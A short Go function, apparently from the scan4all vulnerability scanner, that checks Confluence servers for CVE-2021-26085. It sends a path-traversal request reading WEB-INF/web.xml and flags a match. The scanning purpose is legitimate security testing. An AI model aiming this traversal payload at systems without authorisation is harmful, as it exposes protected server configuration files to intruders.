package confluence

import (
	"github.com/hktalent/scan4all/lib/util"
)

func CVE_2021_26085(u string) bool {
	if req, err := util.HttpRequset(u+"/s/1/_/;/WEB-INF/web.xml", "GET", "", false, nil); err == nil {
		if util.StrContains(req.Body, "display-name") {
			util.SendLog(req.RequestUrl, "CVE-2021-26085", "Found Confluence", "")
			return true
		}
	}
	return false
}
